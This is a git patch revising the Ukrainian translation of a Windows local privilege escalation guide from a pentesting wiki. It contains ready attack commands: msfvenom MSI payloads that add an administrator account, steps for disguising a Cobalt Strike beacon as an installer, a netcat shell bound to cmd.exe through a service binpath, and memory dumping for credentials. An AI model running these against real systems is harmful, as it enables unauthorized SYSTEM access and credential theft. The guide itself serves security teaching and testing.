From ec7bd5ae9692222e2c4a1de8a350389ec43b0893 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 15:42:22 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio --- .../README.md | 726 +++++++++--------- 1 file changed, 380 insertions(+), 346 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 580bffb6d..92eb50826 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -4,7 +4,7 @@ ### **Найкращий інструмент для пошуку векторів Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Вступна теорія Windows +## Початкова теорія Windows ### Access Tokens @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**Перегляньте наступну сторінку, щоб дізнатися більше про ACLs - DACLs/SACLs/ACEs:** +**Перегляньте наступну сторінку для отримання додаткової інформації про ACLs - DACLs/SACLs/ACEs:** {{#ref}} @@ -33,9 +33,9 @@ acls-dacls-sacls-aces.md integrity-levels.md {{#endref}} -## Контролі безпеки Windows +## Windows Security Controls -У Windows є різні механізми, які можуть **перешкодити вам в енумерації системи**, запуску виконуваних файлів або навіть **виявити вашу активність**. Ви повинні **прочитати** наступну **сторінку** і **перелічити** всі ці **захисні механізми** перед початком енумерації privilege escalation: +У Windows існують різні механізми, які можуть **перешкоджати вам у енумерації системи**, запуску виконуваних файлів або навіть **виявити вашу активність**. Ви повинні **прочитати** наступну **сторінку** та **перелічити** усі ці **захисні** **механізми** перед початком privilege escalation enumeration: {{#ref}} @@ -46,7 +46,7 @@ integrity-levels.md ### Version info enumeration -Перевірте, чи має версія Windows відомі вразливості (також перевірте застосовані патчі). +Перевірте, чи має версія Windows відомі вразливості (також перевірте встановлені патчі). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,9 +59,9 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Version Exploits +### Експлойти за версіями -This [site](https://msrc.microsoft.com/update-guide/vulnerability) корисний для пошуку детальної інформації про вразливості безпеки Microsoft. У базі понад 4,700 вразливостей, що демонструє **massive attack surface**, який має середовище Windows. +Цей [site](https://msrc.microsoft.com/update-guide/vulnerability) зручний для пошуку детальної інформації про вразливості безпеки Microsoft. У цій базі даних понад 4,700 вразливостей, що демонструє **величезну поверхню атаки**, яку представляє середовище Windows. **На системі** @@ -83,13 +83,13 @@ This [site](https://msrc.microsoft.com/update-guide/vulnerability) корисн ### Середовище -Є якісь облікові дані/Juicy info, збережені в env variables? +Чи збережені які-небудь облікові дані/Juicy info у env variables? ```bash set dir env: Get-ChildItem Env: | ft Key,Value -AutoSize ``` -### Історія PowerShell +### PowerShell Історія ```bash ConsoleHost_history #Find the PATH where is saved @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### Файли транскрипції PowerShell +### PowerShell файли транскрипту -Ви можете дізнатися, як це увімкнути за посиланням [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Ви можете дізнатися, як увімкнути це за адресою [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,30 +116,30 @@ Stop-Transcript ``` ### PowerShell Module Logging -Фіксуються деталі виконань PowerShell pipeline, зокрема виконані команди, виклики команд та частини скриптів. Проте повні деталі виконання та результати виводу можуть бути не зафіксовані. +Деталі виконання конвеєра PowerShell реєструються, включаючи виконані команди, виклики команд та частини скриптів. Проте повні деталі виконання та результати виводу можуть не фіксуватися. -Щоб увімкнути це, дотримуйтесь інструкцій у розділі "Transcript files" документації, обравши **"Module Logging"** замість **"Powershell Transcription"**. +Щоб увімкнути це, дотримуйтесь інструкцій у розділі документації "Transcript files", обравши **"Module Logging"** замість **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Щоб переглянути останні 15 подій у журналах PowersShell, ви можете виконати: +Щоб переглянути останні 15 подій з журналів PowersShell, ви можете виконати: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Зберігається повний запис активності та вмісту виконання скрипту, що гарантує документування кожного блоку коду під час виконання. Цей процес зберігає вичерпний журнал аудиту кожної дії, цінний для forensics та аналізу шкідливої поведінки. Документуючи всю активність у момент виконання, надаються детальні відомості про процес. +Фіксується повний запис активності та вміст виконання скрипта, що гарантує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудиторський слід кожної операції, цінний для судової експертизи та аналізу шкідливої поведінки. Документуючи всю активність у момент виконання, надаються детальні відомості про процес. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Журнали подій для Script Block можна знайти у Windows Event Viewer за шляхом: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -Щоб переглянути останні 20 подій, ви можете використати: +Записи подій для Script Block можна знайти у Windows Event Viewer за шляхом: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Щоб переглянути останні 20 подій, можна використати: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Систему можна скомпрометувати, якщо оновлення запитуються не через http**S**, а через http. +Ви можете скомпрометувати систему, якщо оновлення запитуються не через http**S**, а через http. -Почніть з перевірки, чи мережа використовує не-SSL WSUS для оновлень, виконавши наступне в cmd: +Почніть з перевірки, чи використовує мережа non-SSL WSUS update, виконавши наступне в cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -166,7 +166,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Якщо ви отримаєте відповідь, наприклад одну з цих: +Якщо ви отримаєте відповідь, наприклад одну з наведених: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,11 +180,11 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -І якщо `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` або `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` дорівнює `1`. +А якщо `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` або `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` дорівнює `1`. -Тоді, **його можна експлуатувати.** Якщо останнє значення реєстру дорівнює 0, то запис WSUS буде ігноруватися. +Тоді **це експлуатовано.** Якщо останній реєстровий параметр дорівнює 0, запис WSUS буде ігнорований. -Щоб експлуатувати цю вразливість, можна використовувати інструменти, такі як: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — це MiTM weaponized exploits scripts для ін’єкції підроблених оновлень у non-SSL WSUS-трафік. +Щоб експлуатувати цю вразливість, можна використовувати інструменти на кшталт: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS](https://github.com/GoSecure/pywsus) — це MiTM-скрипти-експлойти для ін’єкції "фейкових" оновлень у не-SSL WSUS-трафік. Read the research here: @@ -194,18 +194,18 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Прочитайте повний звіт тут**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Загалом, це та вразливість, яку використовує цей баг: +[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +По суті, це та вадина, яку експлуатує цей баг: -> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. +> Якщо ми маємо можливість змінити локальний proxy для користувача, і Windows Updates використовує proxy, налаштований у налаштуваннях Internet Explorer, то ми можемо запустити локально [PyWSUS](https://github.com/GoSecure/pywsus), щоб перехопити власний трафік і виконати код від імені підвищеного користувача на нашому пристрої. > -> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. +> Крім того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо self-signed сертифікат для імені хоста WSUS і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS WSUS-трафік. WSUS не використовує механізмів на кшталт HSTS для реалізації довіри при першому використанні сертифіката. Якщо представлений сертифікат довірений користувачем і має правильне ім’я хоста, служба його прийме. -Ви можете експлуатувати цю вразливість за допомогою інструменту [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (коли він стане доступним). +Ви можете експлуатувати цю вразливість за допомогою інструмента [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (після його звільнення). ## Third-Party Auto-Updaters and Agent IPC (local privesc) -Багато корпоративних агентів відкривають localhost IPC-інтерфейс і мають привілейований канал оновлень. Якщо реєстрацію (enrollment) можна примусити до сервера нападника, і оновлювач довіряє підробленому root CA або має слабку перевірку підпису, локальний користувач може доставити шкідливий MSI, який служба SYSTEM встановить. Див. узагальнену техніку (на основі ланцюжка Netskope stAgentSvc – CVE-2025-0309) тут: +Багато корпоративних агентів відкривають localhost IPC-інтерфейс і привілейований канал оновлень. Якщо enrollment можна примусити до серверу атакуючого, і updater довіряє підробленому root CA або має слабкі перевірки підпису, локальний користувач може доставити шкідливий MSI, який служба SYSTEM встановить. Див. узагальнену техніку (на основі ланцюжка Netskope stAgentSvc – CVE-2025-0309) тут: {{#ref}} abusing-auto-updaters-and-ipc.md @@ -213,15 +213,15 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. +Існує вразливість локального підвищення привілеїв у Windows **domain** середовищах за специфічних умов. Ці умови включають середовища, де **LDAP signing is not enforced**, користувачі мають права на самостійне налаштування **Resource-Based Constrained Delegation (RBCD)**, і можливість для користувачів створювати комп’ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за **налаштувань за замовчуванням**. -Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Знайдіть **експлойт у** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +Для детальнішої інформації про послідовність атаки див. [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. +**Якщо** ці 2 параметри реєстру **увімкнені** (значення **0x1**), то користувачі будь-якого рівня привілеїв можуть **встановлювати** (виконувати) `*.msi` файли як NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -231,11 +231,11 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Якщо у вас є meterpreter сесія, ви можете автоматизувати цю техніку за допомогою модуля **`exploit/windows/local/always_install_elevated`** +Якщо у вас є сесія meterpreter, ви можете автоматизувати цю техніку, використовуючи модуль **`exploit/windows/local/always_install_elevated`** ### PowerUP -Використайте команду `Write-UserAddMSI` з power-up, щоб створити в поточній директорії Windows MSI-файл для підвищення привілеїв. Цей скрипт записує попередньо скомпільований MSI-інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU): +Використайте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарник для підвищення привілеїв. Цей скрипт записує готовий MSI-інсталятор, який запитує додавання користувача/групи (тому вам потрібен GIU access): ``` Write-UserAddMSI ``` @@ -243,60 +243,59 @@ Write-UserAddMSI ### MSI Wrapper -Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **лише** want to **виконувати** **command lines** - +Прочитайте цей підручник, щоб дізнатися, як створити MSI wrapper за допомогою цього інструменту. Зауважте, що ви можете запакувати файл **.bat**, якщо ви **лише** хочете **виконувати** **командні рядки** {{#ref}} msi-wrapper.md {{#endref}} -### Create MSI with WIX +### Створення MSI за допомогою WIX {{#ref}} create-msi-with-wix.md {{#endref}} -### Create MSI with Visual Studio +### Створення MSI за допомогою Visual Studio -- **Згенеруйте** за допомогою Cobalt Strike або Metasploit **новий Windows EXE TCP payload** в `C:\privesc\beacon.exe` +- **Згенеруйте** за допомогою Cobalt Strike або Metasploit **new Windows EXE TCP payload** у `C:\privesc\beacon.exe` - Відкрийте **Visual Studio**, виберіть **Create a new project** і введіть "installer" у поле пошуку. Виберіть проект **Setup Wizard** і натисніть **Next**. -- Дайте проекту назву, наприклад **AlwaysPrivesc**, використайте **`C:\privesc`** як розташування, виберіть **place solution and project in the same directory**, і натисніть **Create**. -- Продовжуйте натискати **Next**, доки не дійдете до кроку 3 з 4 (choose files to include). Натисніть **Add** і виберіть Beacon payload, який ви щойно згенерували. Потім натисніть **Finish**. -- Виділіть проект **AlwaysPrivesc** у **Solution Explorer** і в **Properties** змініть **TargetPlatform** з **x86** на **x64**. -- Є інші властивості, які можна змінити, наприклад **Author** та **Manufacturer**, що може зробити встановлений додаток більш правдоподібним. -- Клацніть правою кнопкою на проекті та виберіть **View > Custom Actions**. -- Клацніть правою кнопкою на **Install** та виберіть **Add Custom Action**. -- Подвійно клацніть на **Application Folder**, виберіть файл **beacon.exe** і натисніть **OK**. Це забезпечить виконання beacon payload відразу після запуску інсталятора. -- В розділі **Custom Action Properties** змініть **Run64Bit** на **True**. -- Нарешті, **збудуйте його**. -- Якщо з'явиться попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтесь, що ви встановили платформу на x64. +- Дайте проекту назву, наприклад **AlwaysPrivesc**, використайте **`C:\privesc`** як місце розташування, виберіть **place solution and project in the same directory**, і натисніть **Create**. +- Продовжуйте натискати **Next**, доки не дійдете до кроку 3 з 4 (вибір файлів для включення). Натисніть **Add** і виберіть Beacon payload, який ви щойно згенерували. Потім натисніть **Finish**. +- Виділіть проект **AlwaysPrivesc** в **Solution Explorer** і в **Properties** змініть **TargetPlatform** з **x86** на **x64**. +- Є інші властивості, які можна змінити, наприклад **Author** і **Manufacturer**, щоб встановлений додаток виглядав більш легітимно. +- Клікніть правою кнопкою на проекті та виберіть **View > Custom Actions**. +- Клікніть правою кнопкою на **Install** і виберіть **Add Custom Action**. +- Двічі клікніть **Application Folder**, виберіть файл **beacon.exe** і натисніть **OK**. Це гарантує, що beacon payload буде виконано відразу після запуску інсталятора. +- В секції **Custom Action Properties** змініть **Run64Bit** на **True**. +- Нарешті, **зберіть його**. +- Якщо показано попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтеся, що ви встановили платформу на x64. -### MSI Installation +### Установка MSI -Щоб виконати **інсталяцію** шкідливого `.msi` файлу у **фоні:** +Щоб виконати **встановлення** шкідливого `.msi` файлу у **фоні:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Щоб експлуатувати цю вразливість, ви можете використати: _exploit/windows/local/always_install_elevated_ +Для експлуатації цієї вразливості ви можете використати: _exploit/windows/local/always_install_elevated_ ## Антивіруси та детектори ### Налаштування аудиту -Ці налаштування визначають, що **реєструється**, тому варто звернути на них увагу +Ці налаштування визначають, що **реєструється**, тож вам слід звернути на них увагу. ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding — цікаво знати, куди відправляються логи +Windows Event Forwarding — цікаво знати, куди надсилаються logs ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** призначено для **керування локальними паролями Administrator**, забезпечуючи, що кожен пароль є **унікальним, випадковим і регулярно оновлюваним** на комп'ютерах, приєднаних до домену. Ці паролі безпечно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні права через ACLs, що дозволяє їм переглядати local admin passwords, якщо вони мають на це повноваження. +**LAPS** призначено для **керування local Administrator passwords**, забезпечуючи, що кожен пароль є **унікальним, випадково згенерованим та регулярно оновлюваним** на комп’ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні дозволи через ACLs, які дозволяють їм переглядати local admin passwords, якщо вони уповноважені. {{#ref}} @@ -305,36 +304,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Якщо ввімкнено, **паролі в відкритому тексті зберігаються в LSASS** (Local Security Authority Subsystem Service).\ -[**Більше інформації про WDigest на цій сторінці**](../stealing-credentials/credentials-protections.md#wdigest). +Якщо активовано, **plain-text паролі зберігаються в LSASS** (Local Security Authority Subsystem Service).\ +[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Починаючи з **Windows 8.1**, Microsoft запровадила посилений захист Local Security Authority (LSA), щоб **блокувати** спроби ненадійних процесів **читати її пам'ять** або впроваджувати код, додатково підвищивши безпеку системи.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection) +Починаючи з **Windows 8.1**, Microsoft запровадила посилений захист для Local Security Authority (LSA), щоб **блокувати** спроби ненадійних процесів **зчитувати її пам'ять** або inject code, додатково захищаючи систему.\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** був запроваджений у **Windows 10**. Його мета — захищати облікові дані, збережені на пристрої, від загроз, таких як pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** був представлений у **Windows 10**. Його мета — захищати credentials, збережені на пристрої, від загроз, таких як pass-the-hash attacks.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** автентифікуються за допомогою **Local Security Authority** (LSA) і використовуються компонентами операційної системи. Коли дані для входу користувача автентифікуються зареєстрованим security package, для користувача зазвичай встановлюються domain credentials.\ -[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials) +**Domain credentials** автентифікуються **Local Security Authority** (LSA) і використовуються компонентами операційної системи. Коли дані для входу користувача автентифіковано зареєстрованим security package, domain credentials для користувача зазвичай встановлюються.\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` ## Користувачі та групи -### Перелічити користувачів та груп +### Перелічення користувачів та груп -Перевірте, чи мають групи, членом яких ви є, цікаві дозволи +Варто перевірити, чи мають групи, до яких ви належите, цікаві дозволи. ```bash # CMD net users %username% #Me @@ -351,24 +350,24 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Привілейовані групи -Якщо ви **належите до якоїсь привілейованої групи, ви можете підвищити свої привілеї**. Дізнайтеся про привілейовані групи та як зловживати ними для підвищення привілеїв тут: +Якщо ви **належите до якоїсь привілейованої групи, ви можете підвищити свої права**. Дізнайтеся про привілейовані групи та як зловживати ними, щоб підвищити права, тут: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Маніпуляція токенами +### Token manipulation **Дізнайтеся більше** про те, що таке **token** на цій сторінці: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Перегляньте наступну сторінку, щоб **дізнатися про цікаві tokens** та як ними зловживати: +Перегляньте наступну сторінку, щоб **дізнатися про цікаві tokens** та як зловживати ними: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Залогінені користувачі / Сесії +### Користувачі, що увійшли / сеанси ```bash qwinsta klist sessions @@ -388,10 +387,10 @@ powershell -command "Get-Clipboard" ``` ## Запущені процеси -### Права на файли та папки +### Права доступу до файлів і папок -Перш за все, при переліку процесів **перевіряйте наявність паролів у командному рядку процесу**.\ -Перевірте, чи можете ви **перезаписати якийсь запущений binary** або чи маєте права на запис у binary folder, щоб експлуатувати можливі [**DLL Hijacking attacks**](dll-hijacking/index.html): +По-перше, перелікуючи процеси, **перевірте наявність паролів всередині command line процесу**.\ +Перевірте, чи можете ви **overwrite some binary running** або чи маєте права запису в папку binary, щоб експлуатувати можливі [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -402,9 +401,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Завжди перевіряйте на наявність можливих [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers** що виконуються — ви можете зловживати ними для ескалації привілеїв](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Перевірка прав доступу до бінарних файлів процесів** +**Перевірка дозволів бінарних файлів процесів** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -413,7 +412,7 @@ icacls "%%z" ) ) ``` -**Перевірка дозволів на папки бінарних файлів процесів (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Перевірка дозволів папок бінарних файлів процесів (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -423,19 +422,19 @@ todos %username%" && echo. ``` ### Memory Password mining -Ви можете створити дамп пам'яті працюючого процесу за допомогою **procdump** від sysinternals. Служби на кшталт FTP мають **credentials in clear text in memory**, спробуйте зробити дамп пам'яті та прочитати ці credentials. +Ви можете створити дамп пам'яті працюючого процесу за допомогою **procdump** з sysinternals. Сервіси, такі як FTP, містять **credentials in clear text in memory** — спробуйте зробити дамп пам'яті та прочитати credentials. ```bash procdump.exe -accepteula -ma ``` ### Небезпечні GUI-додатки -**Додатки, що виконуються під SYSTEM, можуть дозволяти користувачу відкрити CMD або переглядати каталоги.** +**Додатки, що виконуються під SYSTEM, можуть дозволити користувачеві запустити CMD або переглядати каталоги.** -Приклад: "Windows Help and Support" (Windows + F1), введіть у пошуку "command prompt", клацніть "Click to open Command Prompt" +Приклад: "Windows Help and Support" (Windows + F1), знайдіть "command prompt", натисніть "Click to open Command Prompt" ## Служби -Отримайте список служб: +Отримати список служб: ```bash net start wmic service list brief @@ -444,15 +443,15 @@ Get-Service ``` ### Дозволи -Ви можете використовувати **sc** щоб отримати інформацію про службу +Ви можете використати **sc** для отримання інформації про службу ```bash sc qc ``` -Рекомендується мати binary **accesschk** від _Sysinternals_ для перевірки необхідного рівня привілеїв для кожної служби. +Рекомендується мати бінарний файл **accesschk** від _Sysinternals_ для перевірки необхідного рівня привілеїв для кожної служби. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Рекомендується перевірити, чи може "Authenticated Users" змінювати будь-яку службу: +Рекомендується перевірити, чи можуть "Authenticated Users" змінювати будь-яку службу: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -468,20 +467,20 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -Ви можете ввімкнути її, використовуючи +Ви можете увімкнути її за допомогою ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Зверніть увагу, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)** +**Врахуйте, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)** -**Інше обхідне рішення** цієї проблеми — запуск: +**Інший обхідний шлях** цієї проблеми — запустити: ``` sc.exe config usosvc start= auto ``` -### **Змінити шлях бінарного файлу служби** +### **Modify service binary path** -У випадку, коли група "Authenticated users" має **SERVICE_ALL_ACCESS** щодо служби, можлива модифікація виконуваного бінарного файлу служби. Щоб змінити та виконати **sc**: +У випадку, коли група "Authenticated users" має **SERVICE_ALL_ACCESS** для сервісу, можливо змінити виконуваний бінарний файл сервісу. Щоб змінити та виконати **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -494,20 +493,20 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Ескалація привілеїв можлива через різні дозволи: +Ескалацію привілеїв можна здійснити через різні дозволи: -- **SERVICE_CHANGE_CONFIG**: Дозволяє змінювати бінарний файл служби. -- **WRITE_DAC**: Дозволяє переналаштувати дозволи, що дає можливість змінювати конфігурацію служби. -- **WRITE_OWNER**: Дозволяє отримати власника та змінювати дозволи. -- **GENERIC_WRITE**: Надає можливість змінювати конфігурацію служби. -- **GENERIC_ALL**: Також надає можливість змінювати конфігурацію служби. +- **SERVICE_CHANGE_CONFIG**: Дозволяє змінювати бінарний файл, який виконується службою. +- **WRITE_DAC**: Дозволяє змінювати права доступу, що призводить до можливості змінювати конфігурацію сервісів. +- **WRITE_OWNER**: Дозволяє отримати власність та змінювати права доступу. +- **GENERIC_WRITE**: Надає можливість змінювати конфігурацію сервісів. +- **GENERIC_ALL**: Також надає можливість змінювати конфігурацію сервісів. -Для виявлення та експлуатації цієї вразливості можна використовувати _exploit/windows/local/service_permissions_. +Для виявлення та експлуатації цієї вразливості можна використати _exploit/windows/local/service_permissions_. ### Services binaries weak permissions -**Check if you can modify the binary that is executed by a service** or if you have **write permissions on the folder** where the binary is located ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Ви можете отримати всі бінарні файли, які виконує служба, використовуючи **wmic** (not in system32) та перевірити свої дозволи за допомогою **icacls**: +**Перевірте, чи можете ви змінити бінарний файл, який виконується службою** або чи маєте **дозволи на запис у папку** де 